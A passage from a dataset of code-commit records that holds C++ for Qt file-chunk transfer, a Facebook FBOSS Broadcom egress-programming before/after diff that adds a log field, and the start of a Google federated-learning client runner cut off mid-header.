1) \/ threads + (((chunks - 1) % threads < i) ? 0 : 1));\n\t\tqint64 start = done * Messages::maxChunkSize;\n\t\tdone += cChunks;\n\t\tqint64 len = (i == threads - 1) ? (fileSize - start) : (cChunks * Messages::maxChunkSize);\n\n\t\tfutures.push_back(QtConcurrent::run(workers.back(), start, len));\n\t}\n\treturn true;\n}\n\nvoid Messages::FileSendingContext::Worker::operator()(qint64 gstart, qint64 glen) {\n\tQFile file(path);\n\tfile.open(QIODevice::ReadOnly);\n\tfile.seek(gstart);\n\n\tdo {\n\t\tqint64 len = std::min(glen, maxChunkSize);\n\t\tqint64 start = file.pos();\n\t\tglen -= len;\n\n\t\tQByteArray payload;\n\t\tpayload.append(QString::number(destID));\n\t\tpayload.append(Messages::armaSeparator);\n\t\tpayload.append(QString::number(start));\n\t\tpayload.append(Messages::armaSeparator);\n\t\tpayload.append(QString::number(len));\n\t\tpayload.append(Messages::armaSeparator);\n\t\tpayload.append(file.read(len));\n\n\t\tQByteArray ret = addMessageHeader(session, payload, Messages::MsgType::FileMessage, Messages::MsgType::FileMessageDH);\n\n\t\tdataSender(ret);\n\t} while (glen > 0);\n\tfile.close();\n}\n\nMessages::FileReceivingContext::FileReceivingContext(Session & session, QString path) : session(session), path(path) {\n\tQFile file(path);\n\tif (!file.open(QIODevice::ReadWrite)) throw MessageException(\"Unable to open file!\");\n\tfileSize = file.size();\n\tfile.close();\n}\n\n\nvoid Messages::FileReceivingContext::parseChunk(qint64 start, qint64 len, const QByteArray & data) {\n\tworkers.push_back(Worker(session, path, fileSize));\n\tfutures.push_back(QtConcurrent::run(workers.back(), start, len, data));\n}\n\nvoid Messages::FileReceivingContext::parseChunk(const QByteArray & data) {\n\tQList<QByteArray> list = data.split(Messages::armaSeparator);\n\n\tqint64 start = list[0].toLongLong();\n\tqint64 len = list[1].toLongLong();\n\n\tparseChunk(start, len, data.right(data.length() - (list[0].length() + list[1].length() + 2)));\n}\n\nvoid Messages::FileReceivingContext::Worker::operator()(qint64 start, qint64 len, QByteArray data) {\n\t\n\n\t\/\/if (start + len > fileSize) throw MessageException(\"File chunk out of range.\");\n\n\tQFile file(path);\n\tfile.open(QIODevice::ReadWrite);\n\tfile.seek(start);\n\tfile.write(data);\n\tfile.close();\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright (c) 2004-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n *\/\n#include \"BcmEgress.h\"\n\n#include \"fboss\/agent\/Constants.h\"\n#include \"fboss\/agent\/hw\/bcm\/BcmError.h\"\n#include \"fboss\/agent\/hw\/bcm\/BcmHost.h\"\n#include \"fboss\/agent\/hw\/bcm\/BcmSwitch.h\"\n#include \"fboss\/agent\/hw\/bcm\/BcmWarmBootCache.h\"\n\nnamespace facebook { namespace fboss {\n\nusing folly::IPAddress;\nusing folly::MacAddress;\n\nbool BcmEgress::alreadyExists(const opennsl_l3_egress_t& newEgress) const {\n if (id_ == INVALID) {\n return false;\n }\n opennsl_l3_egress_t existingEgress;\n auto rv = opennsl_l3_egress_get(hw_->getUnit(), id_, &existingEgress);\n bcmCheckError(rv, \"Egress object \", id_, \" does not exist\");\n bool sameMacs = !memcmp(newEgress.mac_addr, existingEgress.mac_addr,\n sizeof(newEgress.mac_addr));\n return sameMacs && existingEgress.intf == newEgress.intf &&\n existingEgress.port == newEgress.port &&\n existingEgress.flags == newEgress.flags;\n}\n\nvoid BcmEgress::verifyDropEgress(int unit) {\n const auto id = getDropEgressId();\n opennsl_l3_egress_t egress;\n opennsl_l3_egress_t_init(&egress);\n auto ret = opennsl_l3_egress_get(unit, id, &egress);\n bcmCheckError(ret, \"failed to verify drop egress \", id);\n if (!(egress.flags & OPENNSL_L3_DST_DISCARD)) {\n throw FbossError(\"Egress ID \", id, \" is not programmed as drop\");\n }\n}\n\nvoid BcmEgress::program(opennsl_if_t intfId, opennsl_vrf_t vrf,\n const IPAddress& ip, const MacAddress* mac, opennsl_port_t port,\n RouteForwardAction action) {\n opennsl_l3_egress_t eObj;\n opennsl_l3_egress_t_init(&eObj);\n if (mac == nullptr) {\n if (action == TO_CPU) {\n eObj.flags |= (OPENNSL_L3_L2TOCPU | OPENNSL_L3_COPY_TO_CPU);\n } else {\n eObj.flags |= OPENNSL_L3_DST_DISCARD;\n }\n } else {\n memcpy(&eObj.mac_addr, mac->bytes(), sizeof(eObj.mac_addr));\n eObj.port = port;\n }\n eObj.intf = intfId;\n bool addOrUpdateEgress = false;\n const auto warmBootCache = hw_->getWarmBootCache();\n CHECK(warmBootCache);\n auto egressId2EgressAndBoolCitr = warmBootCache->findEgress(vrf, ip);\n if (egressId2EgressAndBoolCitr !=\n warmBootCache->egressId2EgressAndBool_end()) {\n \/\/ Lambda to compare with existing egress to know if should reprogram\n auto equivalent = [] (const opennsl_l3_egress_t& newEgress,\n const opennsl_l3_egress_t& existingEgress) {\n auto puntToCPU = [=] (const opennsl_l3_egress_t& egress) {\n \/\/ Check if both OPENNSL_L3_L2TOCPU and OPENNSL_L3_COPY_TO_CPU are set\n static const auto kCPUFlags =\n OPENNSL_L3_L2TOCPU | OPENNSL_L3_COPY_TO_CPU;\n return (egress.flags & kCPUFlags) == kCPUFlags;\n };\n if (!puntToCPU(newEgress) && !puntToCPU(existingEgress)) {\n \/\/ Both new and existing egress point to a valid nexthop\n \/\/ Compare mac, port and interface of egress objects\n return !memcmp(newEgress.mac_addr, existingEgress.mac_addr,\n sizeof(newEgress.mac_addr)) &&\n existingEgress.intf == newEgress.intf &&\n existingEgress.port == newEgress.port;\n }\n if (puntToCPU(existingEgress)) {\n \/\/ If existing entry and new entry both point to CPU we\n \/\/ consider them equal (i.e. no need to update h\/w)\n return puntToCPU(newEgress);\n } else {\n \/\/ Existing entry does not point to CPU while the new\n \/\/ one does. This is because the new entry does not know\n \/\/ the result of ARP\/NDP resolution yet. Leave the entry\n \/\/ in h\/w intact\n return true;\n }\n return false;\n };\n const auto& existingEgressId = egressId2EgressAndBoolCitr->first;\n \/\/ Cache existing egress id\n id_ = existingEgressId;\n auto existingEgressObject = egressId2EgressAndBoolCitr->second.first;\n if (!equivalent(eObj, existingEgressObject)) {\n VLOG(1) << \"Updating egress object for next hop : \" << ip;\n addOrUpdateEgress = true;\n } else {\n VLOG(1) << \"Egress object for : \" << ip << \" already exists\";\n }\n } else {\n addOrUpdateEgress = true;\n }\n if (addOrUpdateEgress) {\n if (egressId2EgressAndBoolCitr ==\n warmBootCache->egressId2EgressAndBool_end()) {\n VLOG(1) << \"Adding egress object for next hop : \" << ip;\n }\n uint32_t flags = 0;\n if (id_ != INVALID) {\n flags |= OPENNSL_L3_REPLACE|OPENNSL_L3_WITH_ID;\n }\n if (!alreadyExists(eObj)) {\n \/*\n * Only program the HW if a identical egress object does not\n * exist. Per BCM documentation updating entries like so should not\n * be a problem. However we found that if we reprogrammed a already\n * existing egress object with the same parameters forwarding to\n * the corresponding IP address sometimes broke. BCM issue is being\n * tracked in t4324084\n *\/\n auto rc = opennsl_l3_egress_create(hw_->getUnit(), flags, &eObj, &id_);\n bcmCheckError(rc, \"failed to program L3 egress object \", id_,\n \" \", (mac) ? mac->toString() : \"ToCPU\",\n \" on port \", port,\n \" on unit \", hw_->getUnit());\n VLOG(3) << \"programmed L3 egress object \" << id_ << \" for \"\n << ((mac) ? mac->toString() : \"to CPU\") << \" on unit \"\n << hw_->getUnit() << \" for ip: \" << ip << \" flags \" << eObj.flags;\n if (mac != nullptr) {\n mac_ = *mac;\n }\n intfId_ = intfId;\n } else {\n \/\/ TODO(t10268453): How can we get here? The entries were not equivalent\n \/\/ when we entered this ' if (addOrUpdateEgress) ' condition. Is the\n \/\/ difference between what is in BcmWarmBootCache and what is in the\n \/\/ hardware?\n VLOG(1) << \"Identical egress object for : \" << ip << \" pointing to \"\n << (mac ? mac->toString() : \"CPU \") << \" already exists \"\n << \"skipping egress programming \";\n }\n }\n if (egressId2EgressAndBoolCitr !=\n warmBootCache->egressId2EgressAndBool_end()) {\n warmBootCache->programmed(egressId2EgressAndBoolCitr);\n }\n CHECK_NE(id_, INVALID);\n}\n\nvoid BcmEgress::programToCPU() {\n auto egressFromCache = hw_->getWarmBootCache()->getToCPUEgressId();\n if (id_ == INVALID && egressFromCache != INVALID) {\n id_ = egressFromCache;\n return;\n }\n opennsl_l3_egress_t eObj;\n opennsl_l3_egress_t_init(&eObj);\n eObj.flags |= (OPENNSL_L3_L2TOCPU | OPENNSL_L3_COPY_TO_CPU);\n \/\/ BCM does not care about interface ID for punt to CPU egress object\n uint32_t flags = 0;\n if (id_ != INVALID) {\n flags |= OPENNSL_L3_REPLACE|OPENNSL_L3_WITH_ID;\n }\n auto rc = opennsl_l3_egress_create(hw_->getUnit(), flags, &eObj, &id_);\n bcmCheckError(rc, \"failed to program L3 egress object \", id_,\n \" to CPU on unit \", hw_->getUnit());\n VLOG(3) << \"programmed L3 egress object \" << id_\n << \" to CPU on unit \" << hw_->getUnit();\n}\n\nBcmEgress::~BcmEgress() {\n if (id_ == INVALID) {\n return;\n }\n auto rc = opennsl_l3_egress_destroy(hw_->getUnit(), id_);\n bcmLogFatal(rc, hw_, \"failed to destroy L3 egress object \",\n id_, \" on unit \", hw_->getUnit());\n VLOG(3) << \"destroyed L3 egress object \" << id_\n << \" on unit \" << hw_->getUnit();\n}\n\nvoid BcmEcmpEgress::program() {\n opennsl_l3_egress_ecmp_t obj;\n opennsl_l3_egress_ecmp_t_init(&obj);\n auto n_path = paths_.size();\n obj.max_paths = ((n_path + 3) >> 2) << 2; \/\/ multiple of 4\n\n const auto warmBootCache = hw_->getWarmBootCache();\n auto egressIds2EcmpCItr = warmBootCache->findEcmp(paths_);\n if (egressIds2EcmpCItr != warmBootCache->egressIds2Ecmp_end()) {\n const auto& existing = egressIds2EcmpCItr->second;\n \/\/ TODO figure out why the following check fails\n \/\/ i.e. the suggested max_paths is not the same\n \/\/ as programmed max_paths. Note that this does not\n \/\/ imply that less number of next hops got programmed\n \/\/ but just that the max_paths did not get rounded to\n \/\/ the next multiple of 4 as we desired.\n \/\/ CHECK(obj.max_paths == existing.max_paths);\n id_ = existing.ecmp_intf;\n VLOG(1) << \"Ecmp egress object for egress : \" <<\n BcmWarmBootCache::toEgressIdsStr(paths_)\n << \" already exists \";\n warmBootCache->programmed(egressIds2EcmpCItr);\n } else {\n VLOG(1) << \"Adding ecmp egress with egress : \" <<\n BcmWarmBootCache::toEgressIdsStr(paths_);\n if (id_ != INVALID) {\n obj.flags |= OPENNSL_L3_REPLACE|OPENNSL_L3_WITH_ID;\n obj.ecmp_intf = id_;\n }\n opennsl_if_t pathsArray[paths_.size()];\n auto index = 0;\n for (auto path: paths_) {\n if (hw_->getHostTable()->egressIdPort(path)) {\n pathsArray[index++] = path;\n } else {\n VLOG(1) << \"Skipping unresolved egress : \" << path << \" while \"\n << \"programming ECMP group \";\n }\n }\n auto ret = opennsl_l3_egress_ecmp_create(hw_->getUnit(), &obj, index,\n pathsArray);\n bcmCheckError(ret, \"failed to program L3 ECMP egress object \", id_,\n \" with \", n_path, \" paths\");\n id_ = obj.ecmp_intf;\n VLOG(2) << \"Programmed L3 ECMP egress object \" << id_ << \" for \"\n << n_path << \" paths\";\n }\n CHECK_NE(id_, INVALID);\n}\n\nBcmEcmpEgress::~BcmEcmpEgress() {\n if (id_ == INVALID) {\n return;\n }\n opennsl_l3_egress_ecmp_t obj;\n opennsl_l3_egress_ecmp_t_init(&obj);\n obj.ecmp_intf = id_;\n auto ret = opennsl_l3_egress_ecmp_destroy(hw_->getUnit(), &obj);\n bcmLogFatal(ret, hw_, \"failed to destroy L3 ECMP egress object \",\n id_, \" on unit \", hw_->getUnit());\n VLOG(3) << \"Destroyed L3 ECMP egress object \" << id_\n << \" on unit \" << hw_->getUnit();\n}\n\nfolly::dynamic BcmEgress::toFollyDynamic() const {\n folly::dynamic egress = folly::dynamic::object;\n egress[kEgressId] = getID();\n egress[kMac] = mac_.toString();\n egress[kIntfId] = intfId_;\n return egress;\n}\n\nfolly::dynamic BcmEcmpEgress::toFollyDynamic() const {\n folly::dynamic ecmpEgress = folly::dynamic::object;\n ecmpEgress[kEgressId] = getID();\n folly::dynamic paths = folly::dynamic::array;\n for (auto path: paths_) {\n paths.push_back(path);\n }\n ecmpEgress[kPaths] = std::move(paths);\n return ecmpEgress;\n}\n\nbool BcmEcmpEgress::pathUnreachableHwLocked(EgressId path) {\n return removeEgressIdHwLocked(hw_->getUnit(), getID(), path);\n}\n\nbool BcmEcmpEgress::pathReachableHwLocked(EgressId path) {\n return addEgressIdHwLocked(hw_->getUnit(), getID(), paths_, path);\n}\n\nbool BcmEcmpEgress::removeEgressIdHwLocked(\n int unit,\n EgressId ecmpId,\n EgressId toRemove) {\n \/\/ We don't really need the lock here so safe to call the\n \/\/ stricter non locked version.\n return removeEgressIdHwNotLocked(unit, ecmpId, toRemove);\n}\n\n}}\n<commit_msg>Make message hub work with new TCP connections<commit_after>\/*\n * Copyright (c) 2004-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n *\/\n#include \"BcmEgress.h\"\n\n#include \"fboss\/agent\/Constants.h\"\n#include \"fboss\/agent\/hw\/bcm\/BcmError.h\"\n#include \"fboss\/agent\/hw\/bcm\/BcmHost.h\"\n#include \"fboss\/agent\/hw\/bcm\/BcmSwitch.h\"\n#include \"fboss\/agent\/hw\/bcm\/BcmWarmBootCache.h\"\n\nnamespace facebook { namespace fboss {\n\nusing folly::IPAddress;\nusing folly::MacAddress;\n\nbool BcmEgress::alreadyExists(const opennsl_l3_egress_t& newEgress) const {\n if (id_ == INVALID) {\n return false;\n }\n opennsl_l3_egress_t existingEgress;\n auto rv = opennsl_l3_egress_get(hw_->getUnit(), id_, &existingEgress);\n bcmCheckError(rv, \"Egress object \", id_, \" does not exist\");\n bool sameMacs = !memcmp(newEgress.mac_addr, existingEgress.mac_addr,\n sizeof(newEgress.mac_addr));\n return sameMacs && existingEgress.intf == newEgress.intf &&\n existingEgress.port == newEgress.port &&\n existingEgress.flags == newEgress.flags;\n}\n\nvoid BcmEgress::verifyDropEgress(int unit) {\n const auto id = getDropEgressId();\n opennsl_l3_egress_t egress;\n opennsl_l3_egress_t_init(&egress);\n auto ret = opennsl_l3_egress_get(unit, id, &egress);\n bcmCheckError(ret, \"failed to verify drop egress \", id);\n if (!(egress.flags & OPENNSL_L3_DST_DISCARD)) {\n throw FbossError(\"Egress ID \", id, \" is not programmed as drop\");\n }\n}\n\nvoid BcmEgress::program(opennsl_if_t intfId, opennsl_vrf_t vrf,\n const IPAddress& ip, const MacAddress* mac, opennsl_port_t port,\n RouteForwardAction action) {\n opennsl_l3_egress_t eObj;\n opennsl_l3_egress_t_init(&eObj);\n if (mac == nullptr) {\n if (action == TO_CPU) {\n eObj.flags |= (OPENNSL_L3_L2TOCPU | OPENNSL_L3_COPY_TO_CPU);\n } else {\n eObj.flags |= OPENNSL_L3_DST_DISCARD;\n }\n } else {\n memcpy(&eObj.mac_addr, mac->bytes(), sizeof(eObj.mac_addr));\n eObj.port = port;\n }\n eObj.intf = intfId;\n bool addOrUpdateEgress = false;\n const auto warmBootCache = hw_->getWarmBootCache();\n CHECK(warmBootCache);\n auto egressId2EgressAndBoolCitr = warmBootCache->findEgress(vrf, ip);\n if (egressId2EgressAndBoolCitr !=\n warmBootCache->egressId2EgressAndBool_end()) {\n \/\/ Lambda to compare with existing egress to know if should reprogram\n auto equivalent = [] (const opennsl_l3_egress_t& newEgress,\n const opennsl_l3_egress_t& existingEgress) {\n auto puntToCPU = [=] (const opennsl_l3_egress_t& egress) {\n \/\/ Check if both OPENNSL_L3_L2TOCPU and OPENNSL_L3_COPY_TO_CPU are set\n static const auto kCPUFlags =\n OPENNSL_L3_L2TOCPU | OPENNSL_L3_COPY_TO_CPU;\n return (egress.flags & kCPUFlags) == kCPUFlags;\n };\n if (!puntToCPU(newEgress) && !puntToCPU(existingEgress)) {\n \/\/ Both new and existing egress point to a valid nexthop\n \/\/ Compare mac, port and interface of egress objects\n return !memcmp(newEgress.mac_addr, existingEgress.mac_addr,\n sizeof(newEgress.mac_addr)) &&\n existingEgress.intf == newEgress.intf &&\n existingEgress.port == newEgress.port;\n }\n if (puntToCPU(existingEgress)) {\n \/\/ If existing entry and new entry both point to CPU we\n \/\/ consider them equal (i.e. no need to update h\/w)\n return puntToCPU(newEgress);\n } else {\n \/\/ Existing entry does not point to CPU while the new\n \/\/ one does. This is because the new entry does not know\n \/\/ the result of ARP\/NDP resolution yet. Leave the entry\n \/\/ in h\/w intact\n return true;\n }\n return false;\n };\n const auto& existingEgressId = egressId2EgressAndBoolCitr->first;\n \/\/ Cache existing egress id\n id_ = existingEgressId;\n auto existingEgressObject = egressId2EgressAndBoolCitr->second.first;\n if (!equivalent(eObj, existingEgressObject)) {\n VLOG(1) << \"Updating egress object for next hop : \" << ip;\n addOrUpdateEgress = true;\n } else {\n VLOG(1) << \"Egress object for : \" << ip << \" already exists\";\n }\n } else {\n addOrUpdateEgress = true;\n }\n if (addOrUpdateEgress) {\n if (egressId2EgressAndBoolCitr ==\n warmBootCache->egressId2EgressAndBool_end()) {\n VLOG(1) << \"Adding egress object for next hop : \" << ip;\n }\n uint32_t flags = 0;\n if (id_ != INVALID) {\n flags |= OPENNSL_L3_REPLACE|OPENNSL_L3_WITH_ID;\n }\n if (!alreadyExists(eObj)) {\n \/*\n * Only program the HW if a identical egress object does not\n * exist. Per BCM documentation updating entries like so should not\n * be a problem. However we found that if we reprogrammed a already\n * existing egress object with the same parameters forwarding to\n * the corresponding IP address sometimes broke. BCM issue is being\n * tracked in t4324084\n *\/\n auto rc = opennsl_l3_egress_create(hw_->getUnit(), flags, &eObj, &id_);\n bcmCheckError(rc, \"failed to program L3 egress object \", id_,\n \" \", (mac) ? mac->toString() : \"ToCPU\",\n \" on port \", port,\n \" on unit \", hw_->getUnit());\n VLOG(3) << \"programmed L3 egress object \" << id_ << \" for \"\n << ((mac) ? mac->toString() : \"to CPU\") << \" on unit \"\n << hw_->getUnit() << \" for ip: \" << ip << \" flags \" << eObj.flags\n << \" towards port \" << eObj.port;\n if (mac != nullptr) {\n mac_ = *mac;\n }\n intfId_ = intfId;\n } else {\n \/\/ TODO(t10268453): How can we get here? The entries were not equivalent\n \/\/ when we entered this ' if (addOrUpdateEgress) ' condition. Is the\n \/\/ difference between what is in BcmWarmBootCache and what is in the\n \/\/ hardware?\n VLOG(1) << \"Identical egress object for : \" << ip << \" pointing to \"\n << (mac ? mac->toString() : \"CPU \") << \" already exists \"\n << \"skipping egress programming \";\n }\n }\n if (egressId2EgressAndBoolCitr !=\n warmBootCache->egressId2EgressAndBool_end()) {\n warmBootCache->programmed(egressId2EgressAndBoolCitr);\n }\n CHECK_NE(id_, INVALID);\n}\n\nvoid BcmEgress::programToCPU() {\n auto egressFromCache = hw_->getWarmBootCache()->getToCPUEgressId();\n if (id_ == INVALID && egressFromCache != INVALID) {\n id_ = egressFromCache;\n return;\n }\n opennsl_l3_egress_t eObj;\n opennsl_l3_egress_t_init(&eObj);\n eObj.flags |= (OPENNSL_L3_L2TOCPU | OPENNSL_L3_COPY_TO_CPU);\n \/\/ BCM does not care about interface ID for punt to CPU egress object\n uint32_t flags = 0;\n if (id_ != INVALID) {\n flags |= OPENNSL_L3_REPLACE|OPENNSL_L3_WITH_ID;\n }\n auto rc = opennsl_l3_egress_create(hw_->getUnit(), flags, &eObj, &id_);\n bcmCheckError(rc, \"failed to program L3 egress object \", id_,\n \" to CPU on unit \", hw_->getUnit());\n VLOG(3) << \"programmed L3 egress object \" << id_\n << \" to CPU on unit \" << hw_->getUnit();\n}\n\nBcmEgress::~BcmEgress() {\n if (id_ == INVALID) {\n return;\n }\n auto rc = opennsl_l3_egress_destroy(hw_->getUnit(), id_);\n bcmLogFatal(rc, hw_, \"failed to destroy L3 egress object \",\n id_, \" on unit \", hw_->getUnit());\n VLOG(3) << \"destroyed L3 egress object \" << id_\n << \" on unit \" << hw_->getUnit();\n}\n\nvoid BcmEcmpEgress::program() {\n opennsl_l3_egress_ecmp_t obj;\n opennsl_l3_egress_ecmp_t_init(&obj);\n auto n_path = paths_.size();\n obj.max_paths = ((n_path + 3) >> 2) << 2; \/\/ multiple of 4\n\n const auto warmBootCache = hw_->getWarmBootCache();\n auto egressIds2EcmpCItr = warmBootCache->findEcmp(paths_);\n if (egressIds2EcmpCItr != warmBootCache->egressIds2Ecmp_end()) {\n const auto& existing = egressIds2EcmpCItr->second;\n \/\/ TODO figure out why the following check fails\n \/\/ i.e. the suggested max_paths is not the same\n \/\/ as programmed max_paths. Note that this does not\n \/\/ imply that less number of next hops got programmed\n \/\/ but just that the max_paths did not get rounded to\n \/\/ the next multiple of 4 as we desired.\n \/\/ CHECK(obj.max_paths == existing.max_paths);\n id_ = existing.ecmp_intf;\n VLOG(1) << \"Ecmp egress object for egress : \" <<\n BcmWarmBootCache::toEgressIdsStr(paths_)\n << \" already exists \";\n warmBootCache->programmed(egressIds2EcmpCItr);\n } else {\n VLOG(1) << \"Adding ecmp egress with egress : \" <<\n BcmWarmBootCache::toEgressIdsStr(paths_);\n if (id_ != INVALID) {\n obj.flags |= OPENNSL_L3_REPLACE|OPENNSL_L3_WITH_ID;\n obj.ecmp_intf = id_;\n }\n opennsl_if_t pathsArray[paths_.size()];\n auto index = 0;\n for (auto path: paths_) {\n if (hw_->getHostTable()->egressIdPort(path)) {\n pathsArray[index++] = path;\n } else {\n VLOG(1) << \"Skipping unresolved egress : \" << path << \" while \"\n << \"programming ECMP group \";\n }\n }\n auto ret = opennsl_l3_egress_ecmp_create(hw_->getUnit(), &obj, index,\n pathsArray);\n bcmCheckError(ret, \"failed to program L3 ECMP egress object \", id_,\n \" with \", n_path, \" paths\");\n id_ = obj.ecmp_intf;\n VLOG(2) << \"Programmed L3 ECMP egress object \" << id_ << \" for \"\n << n_path << \" paths\";\n }\n CHECK_NE(id_, INVALID);\n}\n\nBcmEcmpEgress::~BcmEcmpEgress() {\n if (id_ == INVALID) {\n return;\n }\n opennsl_l3_egress_ecmp_t obj;\n opennsl_l3_egress_ecmp_t_init(&obj);\n obj.ecmp_intf = id_;\n auto ret = opennsl_l3_egress_ecmp_destroy(hw_->getUnit(), &obj);\n bcmLogFatal(ret, hw_, \"failed to destroy L3 ECMP egress object \",\n id_, \" on unit \", hw_->getUnit());\n VLOG(3) << \"Destroyed L3 ECMP egress object \" << id_\n << \" on unit \" << hw_->getUnit();\n}\n\nfolly::dynamic BcmEgress::toFollyDynamic() const {\n folly::dynamic egress = folly::dynamic::object;\n egress[kEgressId] = getID();\n egress[kMac] = mac_.toString();\n egress[kIntfId] = intfId_;\n return egress;\n}\n\nfolly::dynamic BcmEcmpEgress::toFollyDynamic() const {\n folly::dynamic ecmpEgress = folly::dynamic::object;\n ecmpEgress[kEgressId] = getID();\n folly::dynamic paths = folly::dynamic::array;\n for (auto path: paths_) {\n paths.push_back(path);\n }\n ecmpEgress[kPaths] = std::move(paths);\n return ecmpEgress;\n}\n\nbool BcmEcmpEgress::pathUnreachableHwLocked(EgressId path) {\n return removeEgressIdHwLocked(hw_->getUnit(), getID(), path);\n}\n\nbool BcmEcmpEgress::pathReachableHwLocked(EgressId path) {\n return addEgressIdHwLocked(hw_->getUnit(), getID(), paths_, path);\n}\n\nbool BcmEcmpEgress::removeEgressIdHwLocked(\n int unit,\n EgressId ecmpId,\n EgressId toRemove) {\n \/\/ We don't really need the lock here so safe to call the\n \/\/ stricter non locked version.\n return removeEgressIdHwNotLocked(unit, ecmpId, toRemove);\n}\n\n}}\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright 2020 Google LLC\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#include <fstream>\n#include <optional>\n#include <string>\n#include <utility>\n\n\n#include \"absl\/flags\/flag.h\"\n#include \"absl\/flags\/parse.h\"\n#include \"absl\/flags\/usage.h\"\n#include \"absl\/status\/status.h\"\n#include \"absl\/status\/statusor.h\"\n#include \"absl\/strings\/str_split.h\"\n#include \"fcp\/base\/monitoring.h\"\n#include \"fcp\/client\/client_runner.h\"\n#include \"fcp\/client\/client_runner_example_data.pb.h\"\n#include \"fcp\/client\/fake_event_publisher.h\"\n#include \"fcp\/client\/fl_runner.h\"\n\nABSL_FLAG(std::string, server, \"\",\n \"Federated Server URI (supports https+test:\/\/ and https:\/\/ URIs\");\nABSL_FLAG(std::string, api_key, \"\", \"API Key\");\nABSL_FLAG(std::string, test_cert, \"\",\n \"Path to test CA certificate PEM file; used for https+test:\/\/ URIs\");\nABSL_FLAG(std::string, session, \"\", \"Session name\");\nABSL_FLAG(std::string, population, \"\", \"Population name\");\nABSL_FLAG(std::string, retry_token, \"\", \"Retry token\");\nABSL_FLAG(std::string, client_version, \"\", \"Client version\");\nABSL_FLAG(std::string, attestation_string, \"\", \"Attestation string\");\nABSL_FLAG(std::string, example_data_path, \"\",\n \"Path to a serialized ClientRunnerExampleData proto with client \"\n \"example data. Falls back to --num_examples if unset.\");\nABSL_FLAG(int, num_examples, 0,\n \"Number of (empty) examples each created iterator serves. Ignored if \"\n \"--example_store_path is set.\");\nABSL_FLAG(int, num_rounds, 1, \"Number of rounds to train\");\nABSL_FLAG(int, sleep_after_round_secs, 3,\n \"Number of seconds to sleep after each round.\");\nABSL_FLAG(bool, use_http_federated_compute_protocol, false,\n \"Whether to enable the HTTP FederatedCompute protocol instead \"\n \"of the gRPC FederatedTrainingApi protocol.\");\n\nstatic constexpr char kUsageString[] =\n \"Stand-alone Federated Client Executable.\\n\\n\"\n \"Connects to the specified server, tries to retrieve a plan, run the\\n\"\n \"plan (feeding the specified number of empty examples), and report the\\n\"\n \"results of the computation back to the server.\";\n\nstatic absl::StatusOr<fcp::client::ClientRunnerExampleData> LoadExampleData(\n const std::string& examples_path) {\n std::ifstream examples_file(examples_path);\n fcp::client::ClientRunnerExampleData data;\n if (!data.ParseFromIstream(&examples_file) || !examples_file.eof()) {\n return absl::InvalidArgumentError(\n \"Failed to parse ClientRunnerExampleData\");\n }\n return data;\n}\n\nint main(int argc, char** argv) {\n absl::SetProgramUsageMessage(kUsageString);\n absl::ParseCommandLine(argc, argv);\n\n int num_rounds = absl::GetFlag(FLAGS_num_rounds);\n std::string server = absl::GetFlag(FLAGS_server);\n std::string session = absl::GetFlag(FLAGS_session);\n std::string population = absl::GetFlag(FLAGS_population);\n std::string client_version = absl::GetFlag(FLAGS_client_version);\n std::string test_cert = absl::GetFlag(FLAGS_test_cert);\n FCP_LOG(INFO) << \"Running for \" << num_rounds << \" rounds:\";\n FCP_LOG(INFO) << \" - server: \" << server;\n FCP_LOG(INFO) << \" - session: \" << session;\n FCP_LOG(INFO) << \" - population: \" << population;\n FCP_LOG(INFO) << \" - client_version: \" << client_version;\n\n std::optional<fcp::client::ClientRunnerExampleData> example_data;\n if (std::string path = absl::GetFlag(FLAGS_example_data_path);\n !path.empty()) {\n auto statusor = LoadExampleData(path);\n if (!statusor.ok()) {\n FCP_LOG(ERROR) << \"Failed to load example data: \" << statusor.status();\n return 1;\n }\n example_data = *std::move(statusor);\n }\n\n bool success = false;\n for (auto i = 0; i < num_rounds || num_rounds < 0; ++i) {\n fcp::client::FederatedTaskEnvDepsImpl federated_task_env_deps_impl =\n example_data ? fcp::client::FederatedTaskEnvDepsImpl(\n *std::move(example_data), test_cert)\n : fcp::client::FederatedTaskEnvDepsImpl(\n absl::GetFlag(FLAGS_num_examples), test_cert);\n fcp::client::FakeEventPublisher event_publisher(\/*quiet=*\/false);\n fcp::client::FilesImpl files_impl;\n fcp::client::LogManagerImpl log_manager_impl;\n fcp::client::FlagsImpl flags;\n flags.set_use_http_federated_compute_protocol(\n absl::GetFlag(FLAGS_use_http_federated_compute_protocol));\n\n auto fl_runner_result = RunFederatedComputation(\n &federated_task_env_deps_impl, &event_publisher, &files_impl,\n &log_manager_impl, &flags, server, absl::GetFlag(FLAGS_api_key),\n test_cert, session, population, absl::GetFlag(FLAGS_retry_token),\n client_version, absl::GetFlag(FLAGS_attestation_string));\n if (fl_runner_result.ok()) {\n FCP_LOG(INFO) << \"Run finished successfully; result: \"\n << fl_runner_result.value().DebugString();\n success = true;\n } else {\n FCP_LOG(ERROR) << \"Error during run: \" << fl_runner_result.status();\n }\n int sleep_secs = absl::GetFlag(FLAGS_sleep_after_round_secs);\n FCP_LOG(INFO) << \"Sleeping for \" << sleep_secs << \" secs\";\n absl::SleepFor(absl::Seconds(sleep_secs));\n }\n return success ? 0 : 1;\n}\n<commit_msg>Rename `--num_examples` to `--num_empty_examples` to be more accurate.<commit_after>\/*\n * Copyright 2020 Google LLC\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language 